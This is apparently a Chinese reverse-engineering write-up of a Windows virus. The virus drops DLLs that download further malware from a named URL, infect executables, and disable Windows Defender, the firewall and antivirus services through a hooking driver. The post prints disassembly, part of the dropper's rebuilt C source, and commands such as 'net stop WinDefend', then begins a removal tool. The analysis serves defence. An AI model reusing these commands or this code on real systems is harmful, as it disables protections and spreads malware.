前几日电脑启动项总是出现一个叫 system.exe 的启动项,前几次就删除作罢,也没细细追究,但几次以后厌烦了,直接拿出 IDA,OD 分析,然后就有了这篇文章。
先描述一下病毒行为
system.exe 释放文件里面的两个 dll,并用 rundll32 启动两个 dll
grea.dll(以后简称叫做 dll1,文件名生成随机) 3 个线程工作,第一个线程下载 http://trt10.t3egc.com:8080/rt10/d.txt 文件,并根据里面的列表下载其他 virus 并执行。第二个线程将system.exe 写入启动项。第三个线程枚举磁盘上的 exe 文件,将一段 payload 插入其中,并将 system.exe 写入文件结尾。
jmgr.dll (dll2,文件名也是随机)停止防火墙、Winfender,并加载驱动 cdriver.sys 检测并关闭杀毒软件(McAfee、360、瑞星、ESET)
CDriver.sys 根据第二个 dll 的指令实行杀进程,hook ZwCreateProcess Ex 禁止进程启动
其中 system.exe 代码已经逆的差不多,直接给逆向好的源码吧。(释放并运行dll1已经完全逆向出来,dll2 类同,就不再继续逆了,把 GetStringHash 函数逆出来还是不错的,后面其他模块的分析会继续用到这个函数,此函数是计算字符串的 hash 值,后面的进程名也用到,无法还原进程名)
代码:
#pragma comment(linker, '/ENTRY:entry')
#include
// #define RELEASE_PUBLIC
extern unsigned char Dll1[0xD400];
extern unsigned char Dll2[];
void LoopGetFileName(char* buf, int index, int seed) // 00401000
{
buf[index] = seed%24 + 'a';
int nextSeed = seed/10;
if (nextSeed > 0)
.......
整个程序流程很简单,就是定位函数繁琐的操作
第一个 dll,grea.dll 分析:dll 没有入口,只有一个导出函数 Execute
Execute一进入就创建三个线程
代码:
.text:10002476 push 0 ; lpThreadId
.text:10002478 push 0 ; dwCreationFlags
.text:1000247A push 0 ; lpParameter
.text:1000247C push offset RunDownAndExec ; 执行下载病毒的工作,然后执行病毒体
.text:10002481 push 0 ; dwStackSize
.text:10002483 push 0 ; lpThreadAttributes
.text:10002485 call ds:CreateThread
.text:10002485
.text:1000248B mov [ebp+hHandle], eax
.text:1000248E mov edx, [ebp+hHandle]
.text:10002491 push edx ; hObject
.text:10002492 call ds:CloseHandle
......
然后复制 wininet.dll 到零时目录加载,得到 Internet 函数去下载文件并执行
代码:
.text:100021F0 ; DWORD __stdcall RunDownAndExec(LPVOID a1)
.text:100021F0 RunDownAndExec proc near ; DATA XREF: Exucute+AC o
.text:100021F0
.text:100021F0
.text:100021F0 push ebp
.text:100021F1 mov ebp, esp
.text:100021F3 sub esp, 338h
.text:100021F9 push 214C6981h ; GetSystemDirectoryA
.text:100021FE call GetHashProcAddr
.text:100021FE
.text:10002203 add esp, 4
.text:10002206 mov [ebp+GetSystemDirectoryA], eax
.text:1000220C push 104h
.text:10002211 lea eax, [ebp+String1]
.text:10002217 push eax
.text:10002218 call [ebp+GetSystemDirectoryA]
.text:10002218
......
分析第二个 dll,jmgr.dll
一开始就关闭防火墙、windows自带病毒扫描程序
代码:
.text:10001D00 push ebp
.text:10001D01 mov ebp, esp
.text:10001D03 sub esp, 290h
.text:10001D09 push 289FBD13h
.text:10001D0E call GetHashProcAddr
.text:10001D0E
.text:10001D13 add esp, 4
.text:10001D16 mov [ebp+WinExec], eax
.text:10001D1C push 0
.text:10001D1E push offset s->NetStopWindefend ; 'net stop WinDefend'
.text:10001D23 call [ebp+WinExec] ; 关闭WinDefend服务
.text:10001D23
.text:10001D29 push 0
.text:10001D2B push offset s->NetStopMpssvc ; 'net stop MpsSvc'
.text:10001D30 call [ebp+WinExec] ; 关闭防火墙
.text:10001D30
.text:10001D36 push 0
.text:10001D38 push offset s->ScConfigWindefendStartDisabled ; 'sc config WinDefend start= disabled'
.text:10001D3D call [ebp+WinExec] ; 禁用WinDefend
.text:10001D3D
.text:10001D43 push 0
.text:10001D45 push offset s->ScConfigMpssvcStartDisabled ; 'sc config MpsSvc start= disabled'
.text:10001D4A call [ebp+WinExec] ; 禁用防火墙
里面一堆的关闭杀软服务工作
代码:
.text:10001B6B mov byte ptr [ebp+var_298+3], 'h'
.text:10001B72 mov byte ptr [ebp+var_294], 'i'
.text:10001B79 mov byte ptr [ebp+var_294+1], 'e'
.text:10001B80 mov byte ptr [ebp+var_294+2], 'l'
.text:10001B87 mov byte ptr [ebp+var_294+3], 'd'
.text:10001B8E mov byte ptr [ebp+var_290], 0
.text:10001B95 lea ecx, [ebp+var_298]
.text:10001B9B push ecx ; lpString2
.text:10001B9C call StopService ; 关闭 Mcshield 服务
.text:10001B9C
.text:10001BA1 add esp, 4
.text:10001BA4 mov byte ptr [ebp+var_2A8], 'M'
.text:10001BAB mov byte ptr [ebp+var_2A8+1], 'c'
.text:10001BB2 mov byte ptr [ebp+var_2A8+2], 'O'
.text:10001BB9 mov byte ptr [ebp+var_2A8+3], 'D'
.text:10001BC0 mov byte ptr [ebp+var_2A4], 'S'
.text:10001BC7 mov byte ptr [ebp+var_2A4+1], 0
.text:10001BCE lea edx, [ebp+var_2A8]
.text:10001BD4 push edx ; lpString2
.text:10001BD5 call StopService ; 关闭 McODS 服务
.text:10001BD5
.text:10001BDA add esp, 4
.text:10001BDD mov byte ptr [ebp+var_2BC], 'm'
.text:10001BE4 mov byte ptr [ebp+var_2BC+1], 'c'
.text:10001BEB mov byte ptr [ebp+var_2BC+2], 'm'
.text:10001BF2 mov byte ptr [ebp+var_2BC+3], 's'
.text:10001BF9 mov byte ptr [ebp+var_2B8], 'c'
.text:10001C00 mov byte ptr [ebp+var_2B8+1], 's'
.text:10001C07 mov byte ptr [ebp+var_2B8+2], 'v'
.text:10001C0E mov byte ptr [ebp+var_2B8+3], 'c'
.text:10001C15 mov byte ptr [ebp+var_2B4], 0
.text:10001C1C lea eax, [ebp+var_2BC]
.text:10001C22 push eax ; lpString2
.text:10001C23 call StopService ; 关闭 mcmscsvc 服务
.....
图中有误,是利用驱动杀进程,而非利用调用
CDriver.sys 分析
驱动内容就非常简单了,主要功能都在IoControlRoutine中,里面几个命令功能
代码:
0x22E14B 传入SSDT的id与地址,然后hook SSDT
0x222009 attach到进程然后杀死进程(传入pid)
0x222006 hook ZwCreateProcessEx,ZwCreateProcessEx中根据SectionHandle得到文件名,然后计算hash,根据里面的hash列表禁止启动某部分程序
0x222007 unhook ZwCreateProcessEx
完了最后写一个专业杀工具
代码:
BOOL KillVirus(LPTSTR szFileName)
{
BOOL retValue = FALSE;
DWORD dwBytes;
HANDLE hFile = CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return retValue;
}
DWORD dwSize = GetFileSize(hFile, NULL);
LPBYTE pBuf = (PBYTE)AllocMemory(dwSize);
SetFilePointer(hFile,0, NULL, FILE_BEGIN);
ReadFile(hFile, pBuf, dwSize, &dwBytes, NULL);
CloseHandle(hFile);
do
{
PIMAGE_DOS_HEADER Header = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS peheader =
(PIMAGE_NT_HEADERS)((LPBYTE)Header + Header->e_lfanew);
......
点击左下角,查看全部代码哦~
看
雪
学
院
联系客服